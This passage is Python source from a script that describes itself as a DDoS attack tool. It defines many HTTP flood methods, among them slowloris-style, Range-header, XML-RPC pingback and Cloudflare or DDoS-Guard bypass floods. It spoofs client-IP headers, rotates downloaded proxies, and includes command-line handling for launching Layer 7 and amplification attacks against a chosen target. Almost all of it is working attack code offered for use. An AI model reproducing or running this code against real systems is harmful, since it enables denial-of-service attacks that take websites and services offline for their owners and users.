- 'Mozilla/5.0 (Linux; U; Android 2.2.1; fr-fr; HTC_DesireZ_A7272 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
- 'Mozilla/5.0 (Linux; U; Android 2.2.1; en-gb; HTC_DesireZ_A7272 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
- 'Mozilla/5.0 (Linux; U; Android 2.2.1; en-ca; LG-P505R Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1'
- ]
- self._useragents = list(useragents)
- self._req_type = self.getMethodType(method)
- self._defaultpayload = "%s %s HTTP/%s\r\n" % (self._req_type,
- target.raw_path_qs, randchoice(['1.0', '1.1', '1.2']))
- self._payload = (self._defaultpayload +
- 'Accept-Encoding: gzip, deflate, br\r\n'
- 'Accept-Language: en-US,en;q=0.9\r\n'
- 'Cache-Control: max-age=0\r\n'
- 'Connection: keep-alive\r\n'
- 'Sec-Fetch-Dest: document\r\n'
- 'Sec-Fetch-Mode: navigate\r\n'
- 'Sec-Fetch-Site: none\r\n'
- 'Sec-Fetch-User: ?1\r\n'
- 'Sec-Gpc: 1\r\n'
- 'Pragma: no-cache\r\n'
- 'Upgrade-Insecure-Requests: 1\r\n')
- def select(self, name: str) -> None:
- self.SENT_FLOOD = self.GET
- for key, value in self.methods.items():
- if name == key:
- self.SENT_FLOOD = value
-
- def run(self) -> None:
- if self._synevent: self._synevent.wait()
- self.select(self._method)
- while self._synevent.is_set():
- self.SENT_FLOOD()
- @property
- def SpoofIP(self) -> str:
- spoof: str = ProxyTools.Random.rand_ipv4()
- return ("X-Forwarded-Proto: Http\r\n"
- f"X-Forwarded-Host: {self._target.raw_host}, 1.1.1.1\r\n"
- f"Via: {spoof}\r\n"
- f"Client-IP: {spoof}\r\n"
- f'X-Forwarded-For: {spoof}\r\n'
- f'Real-IP: {spoof}\r\n')
- def generate_payload(self, other: str = None) -> bytes:
- return str.encode((self._payload +
- f"Host: {self._target.authority}\r\n" +
- self.randHeadercontent +
- (other if other else "") +
- "\r\n"))
- def open_connection(self, host=None) -> socket:
- if self._proxies:
- sock = randchoice(self._proxies).open_socket(AF_INET, SOCK_STREAM)
- else:
- sock = socket(AF_INET, SOCK_STREAM)
- sock.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)
- sock.settimeout(.9)
- sock.connect(host or self._raw_target)
- if self._target.scheme.lower() == "https":
- sock = ctx.wrap_socket(sock,
- server_hostname=host[0] if host else self._target.host,
- server_side=False,
- do_handshake_on_connect=True,
- suppress_ragged_eofs=True)
- return sock
- @property
- def randHeadercontent(self) -> str:
- return (f"User-Agent: {randchoice(self._useragents)}\r\n"
- f"Referrer: {randchoice(self._referers)}{parse.quote(self._target.human_repr())}\r\n" +
- self.SpoofIP)
- @staticmethod
- def getMethodType(method: str) -> str:
- return "GET" if {method.upper()} & {"CFB", "CFBUAM", "GET", "TOR", "COOKIE", "OVH", "EVEN",
- "DYN", "SLOW", "PPS", "APACHE",
- "BOT", "RHEX", "STOMP"} \
- else "POST" if {method.upper()} & {"POST", "XMLRPC", "STRESS"} \
- else "HEAD" if {method.upper()} & {"GSB", "HEAD"} \
- else "REQUESTS"
- def POST(self) -> None:
- payload: bytes = self.generate_payload(
- ("Content-Length: 44\r\n"
- "X-Requested-With: XMLHttpRequest\r\n"
- "Content-Type: application/json\r\n\r\n"
- '{"data": %s}') % ProxyTools.Random.rand_str(32))[:-2]
- s = None
- with suppress(Exception), self.open_connection() as s:
- for _ in range(self._rpc):
- Tools.send(s, payload)
- Tools.safe_close(s)
- def TOR(self) -> None:
- provider = "." + randchoice(tor2webs)
- target = self._target.authority.replace(".onion", provider)
- payload: Any = str.encode(self._payload +
- f"Host: {target}\r\n" +
- self.randHeadercontent +
- "\r\n")
- s = None
- target = self._target.host.replace(".onion", provider), self._raw_target[1]
- with suppress(Exception), self.open_connection(target) as s:
- for _ in range(self._rpc):
- Tools.send(s, payload)
- Tools.safe_close(s)
- def STRESS(self) -> None:
- payload: bytes = self.generate_payload(
- ("Content-Length: 524\r\n"
- "X-Requested-With: XMLHttpRequest\r\n"
- "Content-Type: application/json\r\n\r\n"
- '{"data": %s}') % ProxyTools.Random.rand_str(512))[:-2]
- s = None
- with suppress(Exception), self.open_connection() as s:
- for _ in range(self._rpc):
- Tools.send(s, payload)
- Tools.safe_close(s)
- def COOKIES(self) -> None:
- payload: bytes = self.generate_payload(
- "Cookie: _ga=GA%s;"
- " _gat=1;"
- " __cfduid=dc232334gwdsd23434542342342342475611928;"
- " %s=%s\r\n" %
- (ProxyTools.Random.rand_int(1000, 99999), ProxyTools.Random.rand_str(6),
- ProxyTools.Random.rand_str(32)))
- s = None
- with suppress(Exception), self.open_connection() as s:
- for _ in range(self._rpc):
- Tools.send(s, payload)
- Tools.safe_close(s)
- def APACHE(self) -> None:
- payload: bytes = self.generate_payload(
- "Range: bytes=0-,%s" % ",".join("5-%d" % i
- for i in range(1, 1024)))
- s = None
- with suppress(Exception), self.open_connection() as s:
- for _ in range(self._rpc):
- Tools.send(s, payload)
- Tools.safe_close(s)
- def XMLRPC(self) -> None:
- payload: bytes = self.generate_payload(
- ("Content-Length: 345\r\n"
- "X-Requested-With: XMLHttpRequest\r\n"
- "Content-Type: application/xml\r\n\r\n"
- "<?xml version='1.0' encoding='iso-8859-1'?>"
- "<methodCall><methodName>pingback.ping</methodName>"
- "<params><param><value><string>%s</string></value>"
- "</param><param><value><string>%s</string>"
- "</value></param></params></methodCall>") %
- (ProxyTools.Random.rand_str(64),
- ProxyTools.Random.rand_str(64)))[:-2]
- s = None
- with suppress(Exception), self.open_connection() as s:
- for _ in range(self._rpc):
- Tools.send(s, payload)
- Tools.safe_close(s)
- def PPS(self) -> None:
- payload: Any = str.encode(self._defaultpayload +
- f"Host: {self._target.authority}\r\n\r\n")
- s = None
- with suppress(Exception), self.open_connection() as s:
- for _ in range(self._rpc):
- Tools.send(s, payload)
- Tools.safe_close(s)
- def KILLER(self) -> None:
- while True:
- Thread(target=self.GET, daemon=True).start()
- def GET(self) -> None:
- payload: bytes = self.generate_payload()
- s = None
- with suppress(Exception), self.open_connection() as s:
- for _ in range(self._rpc):
- Tools.send(s, payload)
- Tools.safe_close(s)
- def BOT(self) -> None:
- payload: bytes = self.generate_payload()
- p1, p2 = str.encode(
- "GET /robots.txt HTTP/1.1\r\n"
- "Host: %s\r\n" % self._target.raw_authority +
- "Connection: Keep-Alive\r\n"
- "Accept: text/plain,text/html,*/*\r\n"
- "User-Agent: %s\r\n" % randchoice(google_agents) +
- "Accept-Encoding: gzip,deflate,br\r\n\r\n"), str.encode(
- "GET /sitemap.xml HTTP/1.1\r\n"
- "Host: %s\r\n" % self._target.raw_authority +
- "Connection: Keep-Alive\r\n"
- "Accept: */*\r\n"
- "From: googlebot(at)googlebot.com\r\n"
- "User-Agent: %s\r\n" % randchoice(google_agents) +
- "Accept-Encoding: gzip,deflate,br\r\n"
- "If-None-Match: %s-%s\r\n" % (ProxyTools.Random.rand_str(9),
- ProxyTools.Random.rand_str(4)) +
- "If-Modified-Since: Sun, 26 Set 2099 06:00:00 GMT\r\n\r\n")
- s = None
- with suppress(Exception), self.open_connection() as s:
- Tools.send(s, p1)
- Tools.send(s, p2)
- for _ in range(self._rpc):
- Tools.send(s, payload)
- Tools.safe_close(s)
- def EVEN(self) -> None:
- payload: bytes = self.generate_payload()
- s = None
- with suppress(Exception), self.open_connection() as s:
- while Tools.send(s, payload) and s.recv(1):
- continue
- Tools.safe_close(s)
- def OVH(self) -> None:
- payload: bytes = self.generate_payload()
- s = None
- with suppress(Exception), self.open_connection() as s:
- for _ in range(min(self._rpc, 5)):
- Tools.send(s, payload)
- Tools.safe_close(s)
- def CFB(self):
- global REQUESTS_SENT, BYTES_SEND
- pro = None
- if self._proxies:
- pro = randchoice(self._proxies)
- s = None
- with suppress(Exception), create_scraper() as s:
- for _ in range(self._rpc):
- if pro:
- with s.get(self._target.human_repr(),
- proxies=pro.asRequest()) as res:
- REQUESTS_SENT += 1
- BYTES_SEND += Tools.sizeOfRequest(res)
- continue
- with s.get(self._target.human_repr()) as res:
- REQUESTS_SENT += 1
- BYTES_SEND += Tools.sizeOfRequest(res)
- Tools.safe_close(s)
- def CFBUAM(self):
- payload: bytes = self.generate_payload()
- s = None
- with suppress(Exception), self.open_connection() as s:
- Tools.send(s, payload)
- sleep(5.01)
- ts = time()
- for _ in range(self._rpc):
- Tools.send(s, payload)
- if time() > ts + 120: break
- Tools.safe_close(s)
- def AVB(self):
- payload: bytes = self.generate_payload()
- s = None
- with suppress(Exception), self.open_connection() as s:
- for _ in range(self._rpc):
- sleep(max(self._rpc / 1000, 1))
- Tools.send(s, payload)
- Tools.safe_close(s)
- def DGB(self):
- global REQUESTS_SENT, BYTES_SEND
- with suppress(Exception):
- if self._proxies:
- pro = randchoice(self._proxies)
- with Tools.dgb_solver(self._target.human_repr(), randchoice(self._useragents), pro.asRequest()) as ss:
- for _ in range(min(self._rpc, 5)):
- sleep(min(self._rpc, 5) / 100)
- with ss.get(self._target.human_repr(),
- proxies=pro.asRequest()) as res:
- REQUESTS_SENT += 1
- BYTES_SEND += Tools.sizeOfRequest(res)
- continue
- Tools.safe_close(ss)
- with Tools.dgb_solver(self._target.human_repr(), randchoice(self._useragents)) as ss:
- for _ in range(min(self._rpc, 5)):
- sleep(min(self._rpc, 5) / 100)
- with ss.get(self._target.human_repr()) as res:
- REQUESTS_SENT += 1
- BYTES_SEND += Tools.sizeOfRequest(res)
- Tools.safe_close(ss)
- def DYN(self):
- payload: Any = str.encode(self._payload +
- f"Host: {ProxyTools.Random.rand_str(6)}.{self._target.authority}\r\n" +
- self.randHeadercontent +
- "\r\n")
- s = None
- with suppress(Exception), self.open_connection() as s:
- for _ in range(self._rpc):
- Tools.send(s, payload)
- Tools.safe_close(s)
- def DOWNLOADER(self):
- payload: Any = self.generate_payload()
- s = None
- with suppress(Exception), self.open_connection() as s:
- for _ in range(self._rpc):
- Tools.send(s, payload)
- while 1:
- sleep(.01)
- data = s.recv(1)
- if not data:
- break
- Tools.send(s, b'0')
- Tools.safe_close(s)
- def BYPASS(self):
- global REQUESTS_SENT, BYTES_SEND
- pro = None
- if self._proxies:
- pro = randchoice(self._proxies)
- s = None
- with suppress(Exception), Session() as s:
- for _ in range(self._rpc):
- if pro:
- with s.get(self._target.human_repr(),
- proxies=pro.asRequest()) as res:
- REQUESTS_SENT += 1
- BYTES_SEND += Tools.sizeOfRequest(res)
- continue
- with s.get(self._target.human_repr()) as res:
- REQUESTS_SENT += 1
- BYTES_SEND += Tools.sizeOfRequest(res)
- Tools.safe_close(s)
- def GSB(self):
- payload = str.encode("%s %s?qs=%s HTTP/1.1\r\n" % (self._req_type,
- self._target.raw_path_qs,
- ProxyTools.Random.rand_str(6)) +
- "Host: %s\r\n" % self._target.authority +
- self.randHeadercontent +
- 'Accept-Encoding: gzip, deflate, br\r\n'
- 'Accept-Language: en-US,en;q=0.9\r\n'
- 'Cache-Control: max-age=0\r\n'
- 'Connection: Keep-Alive\r\n'
- 'Sec-Fetch-Dest: document\r\n'
- 'Sec-Fetch-Mode: navigate\r\n'
- 'Sec-Fetch-Site: none\r\n'
- 'Sec-Fetch-User: ?1\r\n'
- 'Sec-Gpc: 1\r\n'
- 'Pragma: no-cache\r\n'
- 'Upgrade-Insecure-Requests: 1\r\n\r\n')
- s = None
- with suppress(Exception), self.open_connection() as s:
- for _ in range(self._rpc):
- Tools.send(s, payload)
- Tools.safe_close(s)
- def RHEX(self):
- randhex = str(randbytes(randchoice([32, 64, 128])))
- payload = str.encode("%s %s/%s HTTP/1.1\r\n" % (self._req_type,
- self._target.authority,
- randhex) +
- "Host: %s/%s\r\n" % (self._target.authority, randhex) +
- self.randHeadercontent +
- 'Accept-Encoding: gzip, deflate, br\r\n'
- 'Accept-Language: en-US,en;q=0.9\r\n'
- 'Cache-Control: max-age=0\r\n'
- 'Connection: keep-alive\r\n'
- 'Sec-Fetch-Dest: document\r\n'
- 'Sec-Fetch-Mode: navigate\r\n'
- 'Sec-Fetch-Site: none\r\n'
- 'Sec-Fetch-User: ?1\r\n'
- 'Sec-Gpc: 1\r\n'
- 'Pragma: no-cache\r\n'
- 'Upgrade-Insecure-Requests: 1\r\n\r\n')
- s = None
- with suppress(Exception), self.open_connection() as s:
- for _ in range(self._rpc):
- Tools.send(s, payload)
- Tools.safe_close(s)
- def STOMP(self):
- dep = ('Accept-Encoding: gzip, deflate, br\r\n'
- 'Accept-Language: en-US,en;q=0.9\r\n'
- 'Cache-Control: max-age=0\r\n'
- 'Connection: keep-alive\r\n'
- 'Sec-Fetch-Dest: document\r\n'
- 'Sec-Fetch-Mode: navigate\r\n'
- 'Sec-Fetch-Site: none\r\n'
- 'Sec-Fetch-User: ?1\r\n'
- 'Sec-Gpc: 1\r\n'
- 'Pragma: no-cache\r\n'
- 'Upgrade-Insecure-Requests: 1\r\n\r\n')
- hexh = r'\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87' \
- r'\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F' \
- r'\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F' \
- r'\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84' \
- r'\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F' \
- r'\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98' \
- r'\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98' \
- r'\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B' \
- r'\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99' \
- r'\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C' \
- r'\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA '
- p1, p2 = str.encode("%s %s/%s HTTP/1.1\r\n" % (self._req_type,
- self._target.authority,
- hexh) +
- "Host: %s/%s\r\n" % (self._target.authority, hexh) +
- self.randHeadercontent + dep), str.encode(
- "%s %s/cdn-cgi/l/chk_captcha HTTP/1.1\r\n" % (self._req_type,
- self._target.authority) +
- "Host: %s\r\n" % hexh +
- self.randHeadercontent + dep)
- s = None
- with suppress(Exception), self.open_connection() as s:
- Tools.send(s, p1)
- for _ in range(self._rpc):
- Tools.send(s, p2)
- Tools.safe_close(s)
- def NULL(self) -> None:
- payload: Any = str.encode(self._payload +
- f"Host: {self._target.authority}\r\n" +
- "User-Agent: null\r\n" +
- "Referrer: null\r\n" +
- self.SpoofIP + "\r\n")
- s = None
- with suppress(Exception), self.open_connection() as s:
- for _ in range(self._rpc):
- Tools.send(s, payload)
- Tools.safe_close(s)
- def BOMB(self):
- assert self._proxies, \
- 'This method requires proxies. ' \
- 'Without proxies you can use github.com/codesenberg/bombardier'
- while True:
- proxy = randchoice(self._proxies)
- if proxy.type != ProxyType.SOCKS4:
- break
- res = run(
- [
- f'{bombardier_path}',
- f'--connections={self._rpc}',
- '--http2',
- '--method=GET',
- '--latencies',
- '--timeout=30s',
- f'--requests={self._rpc}',
- f'--proxy={proxy}',
- f'{self._target.human_repr()}',
- ],
- stdout=PIPE,
- )
- if self._thread_id == 0:
- print(proxy, res.stdout.decode(), sep='\n')
- def SLOW(self):
- payload: bytes = self.generate_payload()
- s = None
- with suppress(Exception), self.open_connection() as s:
- for _ in range(self._rpc):
- Tools.send(s, payload)
- while Tools.send(s, payload) and s.recv(1):
- for i in range(self._rpc):
- keep = str.encode("X-a: %d\r\n" % ProxyTools.Random.rand_int(1, 5000))
- Tools.send(s, keep)
- sleep(self._rpc / 15)
- break
- Tools.safe_close(s)
- class ProxyManager:
- @staticmethod
- def DownloadFromConfig(cf, Proxy_type: int) -> Set[Proxy]:
- providrs = [
- provider for provider in cf["proxy-providers"]
- if provider["type"] == Proxy_type or Proxy_type == 0
- ]
- logger.info(
- f"{bcolors.WARNING}Downloading Proxies from {bcolors.OKBLUE}%d{bcolors.WARNING} Providers{bcolors.RESET}" % len(
- providrs))
- proxes: Set[Proxy] = set()
- with ThreadPoolExecutor(len(providrs)) as executor:
- future_to_download = {
- executor.submit(
- ProxyManager.download, provider,
- ProxyType.stringToProxyType(str(provider["type"])))
- for provider in providrs
- }
- for future in as_completed(future_to_download):
- for pro in future.result():
- proxes.add(pro)
- return proxes
- @staticmethod
- def download(provider, proxy_type: ProxyType) -> Set[Proxy]:
- logger.debug(
- f"{bcolors.WARNING}Proxies from (URL: {bcolors.OKBLUE}%s{bcolors.WARNING}, Type: {bcolors.OKBLUE}%s{bcolors.WARNING}, Timeout: {bcolors.OKBLUE}%d{bcolors.WARNING}){bcolors.RESET}" %
- (provider["url"], proxy_type.name, provider["timeout"]))
- proxes: Set[Proxy] = set()
- with suppress(TimeoutError, exceptions.ConnectionError,
- exceptions.ReadTimeout):
- data = get(provider["url"], timeout=provider["timeout"]).text
- try:
- for proxy in ProxyUtiles.parseAllIPPort(
- data.splitlines(), proxy_type):
- proxes.add(proxy)
- except Exception as e:
- logger.error(f'Download Proxy Error: {(e.__str__() or e.__repr__())}')
- return proxes
- class ToolsConsole:
- METHODS = {"INFO", "TSSRV", "CFIP", "DNS", "PING", "CHECK", "DSTAT"}
- @staticmethod
- def checkRawSocket():
- with suppress(OSError):
- with socket(AF_INET, SOCK_RAW, IPPROTO_TCP):
- return True
- return False
- @staticmethod
- def runConsole():
- cons = f"{gethostname()}@MHTools:~#"
- while 1:
- cmd = input(cons + " ").strip()
- if not cmd: continue
- if " " in cmd:
- cmd, args = cmd.split(" ", 1)
- cmd = cmd.upper()
- if cmd == "HELP":
- print("Tools:" + ", ".join(ToolsConsole.METHODS))
- print("Commands: HELP, CLEAR, BACK, EXIT")
- continue
- if {cmd} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
- exit(-1)
- if cmd == "CLEAR":
- print("\033c")
- continue
- if not {cmd} & ToolsConsole.METHODS:
- print(f"{cmd} command not found")
- continue
- if cmd == "DSTAT":
- with suppress(KeyboardInterrupt):
- ld = net_io_counters(pernic=False)
- while True:
- sleep(1)
- od = ld
- ld = net_io_counters(pernic=False)
- t = [(last - now) for now, last in zip(od, ld)]
- logger.info(
- ("Bytes Sent %s\n"
- "Bytes Received %s\n"
- "Packets Sent %s\n"
- "Packets Received %s\n"
- "ErrIn %s\n"
- "ErrOut %s\n"
- "DropIn %s\n"
- "DropOut %s\n"
- "Cpu Usage %s\n"
- "Memory %s\n") %
- (Tools.humanbytes(t[0]), Tools.humanbytes(t[1]),
- Tools.humanformat(t[2]), Tools.humanformat(t[3]),
- t[4], t[5], t[6], t[7], str(cpu_percent()) + "%",
- str(virtual_memory().percent) + "%"))
- if cmd in ["CFIP", "DNS"]:
- print("Soon")
- continue
- if cmd == "CHECK":
- while True:
- with suppress(Exception):
- domain = input(f'{cons}give-me-ipaddress# ')
- if not domain: continue
- if domain.upper() == "BACK": break
- if domain.upper() == "CLEAR":
- print("\033c")
- continue
- if {domain.upper()} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
- exit(-1)
- if "/" not in domain: continue
- logger.info("please wait ...")
- with get(domain, timeout=20) as r:
- logger.info(('status_code: %d\n'
- 'status: %s') %
- (r.status_code, "ONLINE"
- if r.status_code <= 500 else "OFFLINE"))
- if cmd == "INFO":
- while True:
- domain = input(f'{cons}give-me-ipaddress# ')
- if not domain: continue
- if domain.upper() == "BACK": break
- if domain.upper() == "CLEAR":
- print("\033c")
- continue
- if {domain.upper()} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
- exit(-1)
- domain = domain.replace('https://',
- '').replace('http://', '')
- if "/" in domain: domain = domain.split("/")[0]
- print('please wait ...', end="\r")
- info = ToolsConsole.info(domain)
- if not info["success"]:
- print("Error!")
- continue
- logger.info(("Country: %s\n"
- "City: %s\n"
- "Org: %s\n"
- "Isp: %s\n"
- "Region: %s\n") %
- (info["country"], info["city"], info["org"],
- info["isp"], info["region"]))
- if cmd == "TSSRV":
- while True:
- domain = input(f'{cons}give-me-domain# ')
- if not domain: continue
- if domain.upper() == "BACK": break
- if domain.upper() == "CLEAR":
- print("\033c")
- continue
- if {domain.upper()} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
- exit(-1)
- domain = domain.replace('https://',
- '').replace('http://', '')
- if "/" in domain: domain = domain.split("/")[0]
- print('please wait ...', end="\r")
- info = ToolsConsole.ts_srv(domain)
- logger.info(f"TCP: {(info['_tsdns._tcp.'])}\n")
- logger.info(f"UDP: {(info['_ts3._udp.'])}\n")
- if cmd == "PING":
- while True:
- domain = input(f'{cons}give-me-ipaddress# ')
- if not domain: continue
- if domain.upper() == "BACK": break
- if domain.upper() == "CLEAR":
- print("\033c")
- if {domain.upper()} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
- exit(-1)
- domain = domain.replace('https://',
- '').replace('http://', '')
- if "/" in domain: domain = domain.split("/")[0]
- logger.info("please wait ...")
- r = ping(domain, count=5, interval=0.2)
- logger.info(('Address: %s\n'
- 'Ping: %d\n'
- 'Aceepted Packets: %d/%d\n'
- 'status: %s\n') %
- (r.address, r.avg_rtt, r.packets_received,
- r.packets_sent,
- "ONLINE" if r.is_alive else "OFFLINE"))
- @staticmethod
- def stop():
- print('All Attacks has been Stopped !')
- for proc in process_iter():
- if proc.name() == "python.exe":
- proc.kill()
- @staticmethod
- def usage():
- print((
- '* MHDDoS - DDoS Attack Script With %d Methods\n'
- 'Note: If the Proxy list is empty, The attack will run without proxies\n'
- ' If the Proxy file doesn\'t exist, the script will download proxies and check them.\n'
- ' Proxy Type 0 = All in config.json\n'
- ' SocksTypes:\n'
- ' - 6 = RANDOM\n'
- ' - 5 = SOCKS5\n'
- ' - 4 = SOCKS4\n'
- ' - 1 = HTTP\n'
- ' - 0 = ALL\n'
- ' > Methods:\n'
- ' - Layer4\n'
- ' | %s | %d Methods\n'
- ' - Layer7\n'
- ' | %s | %d Methods\n'
- ' - Tools\n'
- ' | %s | %d Methods\n'
- ' - Others\n'
- ' | %s | %d Methods\n'
- ' - All %d Methods\n'
- '\n'
- 'Example:\n'
- ' L7: python3 %s <method> <url> <socks_type> <threads> <proxylist> <rpc> <duration> <debug=optional>\n'
- ' L4: python3 %s <method> <ip:port> <threads> <duration>\n'
- ' L4 Proxied: python3 %s <method> <ip:port> <threads> <duration> <socks_type> <proxylist>\n'
- ' L4 Amplification: python3 %s <method> <ip:port> <threads> <duration> <reflector file (only use with'
- ' Amplification)>\n') %
- (len(Methods.ALL_METHODS) + 3 + len(ToolsConsole.METHODS),
- ", ".join(Methods.LAYER4_METHODS), len(Methods.LAYER4_METHODS),
- ", ".join(Methods.LAYER7_METHODS), len(Methods.LAYER7_METHODS),
- ", ".join(ToolsConsole.METHODS), len(ToolsConsole.METHODS),
- ", ".join(["TOOLS", "HELP", "STOP"]), 3,
- len(Methods.ALL_METHODS) + 3 + len(ToolsConsole.METHODS),
- argv[0], argv[0], argv[0], argv[0]))
- # noinspection PyBroadException
- @staticmethod
- def ts_srv(domain):
- records = ['_ts3._udp.', '_tsdns._tcp.']
- DnsResolver = resolver.Resolver()
- DnsResolver.timeout = 1
- DnsResolver.lifetime = 1
- Info = {}
- for rec in records:
- try:
- srv_records = resolver.resolve(rec + domain, 'SRV')
- for srv in srv_records:
- Info[rec] = str(srv.target).rstrip('.') + ':' + str(
- srv.port)
- except:
- Info[rec] = 'Not found'
- return Info
- # noinspection PyUnreachableCode
- @staticmethod
- def info(domain):
- with suppress(Exception), get(f"https://ipwhois.app/json/{domain}/") as s:
- return s.json()
- return {"success": False}
- def handleProxyList(con, proxy_li, proxy_ty, url=None):
- if proxy_ty not in {4, 5, 1, 0, 6}:
- exit("Socks Type Not Found [4, 5, 1, 0, 6]")
- if proxy_ty == 6:
- proxy_ty = randchoice([4, 5, 1])
- if not proxy_li.exists():
- logger.warning(
- f"{bcolors.WARNING}The file doesn't exist, creating files and downloading proxies.{bcolors.RESET}")
- proxy_li.parent.mkdir(parents=True, exist_ok=True)
- with proxy_li.open("w") as wr:
- Proxies: Set[Proxy] = ProxyManager.DownloadFromConfig(con, proxy_ty)
- logger.info(
- f"{bcolors.OKBLUE}{len(Proxies):,}{bcolors.WARNING} Proxies are getting checked, this may take awhile{bcolors.RESET}!"
- )
- Proxies = ProxyChecker.checkAll(
- Proxies, timeout=5, threads=threads,
- url=url.human_repr() if url else "http://httpbin.org/get",
- )
- if not Proxies:
- exit(
- "Proxy Check failed, Your network may be the problem"
- " | The target may not be available."
- )
- stringBuilder = ""
- for proxy in Proxies:
- stringBuilder += (proxy.__str__() + "\n")
- wr.write(stringBuilder)
- proxies = ProxyUtiles.readFromFile(proxy_li)
- if proxies:
- logger.info(f"{bcolors.WARNING}Proxy Count: {bcolors.OKBLUE}{len(proxies):,}{bcolors.RESET}")
- else:
- logger.info(
- f"{bcolors.WARNING}Empty Proxy File, running flood without proxy{bcolors.RESET}")
- proxies = None
- return proxies
- if __name__ == '__main__':
- with suppress(KeyboardInterrupt):
- with suppress(IndexError):
- one = argv[1].upper()
- if one == "HELP":
- raise IndexError()
- if one == "TOOLS":
- ToolsConsole.runConsole()
- if one == "STOP":
- ToolsConsole.stop()
- method = one
- host = None
- port = None
- url = None
- event = Event()
- event.clear()
- target = None
- urlraw = argv[2].strip()
- if not urlraw.startswith("http"):
- urlraw = "http://" + urlraw
- if method not in Methods.ALL_METHODS:
- exit("Method Not Found %s" %
- ", ".join(Methods.ALL_METHODS))
- if method in Methods.LAYER7_METHODS:
- url = URL(urlraw)
- host = url.host
- if method != "TOR":
- try:
- host = gethostbyname(url.host)
- except Exception as e:
- exit('Cannot resolve hostname ', url.host, str(e))
- threads = int(argv[4])
- rpc = int(argv[6])
- timer = int(argv[7])
- proxy_ty = int(argv[3].strip())
- proxy_li = Path(__dir__ / "files/proxies/" /
- argv[5].strip())
- useragent_li = Path(__dir__ / "files/useragent.txt")
- referers_li = Path(__dir__ / "files/referers.txt")
- bombardier_path = Path.home() / "go/bin/bombardier"
- proxies: Any = set()
- if method == "BOMB":
- assert (
- bombardier_path.exists()
- or bombardier_path.with_suffix('.exe').exists()
- ), (
- "Install bombardier: "
- "https://github.com/MHProDev/MHDDoS/wiki/BOMB-method"
- )
- if len(argv) == 9:
- logger.setLevel("DEBUG")
- if not useragent_li.exists():
- exit("The Useragent file doesn't exist ")
- if not referers_li.exists():
- exit("The Referer file doesn't exist ")
- uagents = set(a.strip()
- for a in useragent_li.open("r+").readlines())
- referers = set(a.strip()
- for a in referers_li.open("r+").readlines())
- if not uagents: exit("Empty Useragent File ")
- if not referers: exit("Empty Referer File ")
- if threads > 1000:
- logger.warning("Thread is higher than 1000")
- if rpc > 100:
- logger.warning(
- "RPC (Request Pre Connection) is higher than 100")
- proxies = handleProxyList(con, proxy_li, proxy_ty, url)
- for thread_id in range(threads):
- HttpFlood(thread_id, url, host, method, rpc, event,
- uagents, referers, proxies).start()
- if method in Methods.LAYER4_METHODS:
- target = URL(urlraw)
- port = target.port
- target = target.host
- try:
- target = gethostbyname(target)
- except Exception as e:
- exit('Cannot resolve hostname ', url.host, e)
- if port > 65535 or port < 1:
- exit("Invalid Port [Min: 1 / Max: 65535] ")
- if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD", "SYN", "ICMP"} and \
- not ToolsConsole.checkRawSocket():
- exit("Cannot Create Raw Socket")
- if method in Methods.LAYER4_AMP:
- logger.warning("this method need spoofable servers please check")
- logger.warning("https://github.com/MHProDev/MHDDoS/wiki/Amplification-ddos-attack")
- threads = int(argv[3])
- timer = int(argv[4])
- proxies = None
- ref = None
- if not port:
- logger.warning("Port Not Selected, Set To Default: 80")
- port = 80
- if method in {"SYN", "ICMP"}:
- __ip__ = __ip__
- if len(argv) >= 6:
- argfive = argv[5].strip()
- if argfive:
- refl_li = Path(__dir__ / "files" / argfive)
- if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD"}:
- if not refl_li.exists():
- exit("The reflector file doesn't exist")
- if len(argv) == 7:
- logger.setLevel("DEBUG")
- ref = set(a.strip()
- for a in Tools.IP.findall(refl_li.open("r").read()))
- if not ref: exit("Empty Reflector File ")
- elif argfive.isdigit() and len(argv) >= 7:
- if len(argv) == 8:
- logger.setLevel("DEBUG")
- proxy_ty = int(argfive)
- proxy_li = Path(__dir__ / "files/proxies" / argv[6].strip())
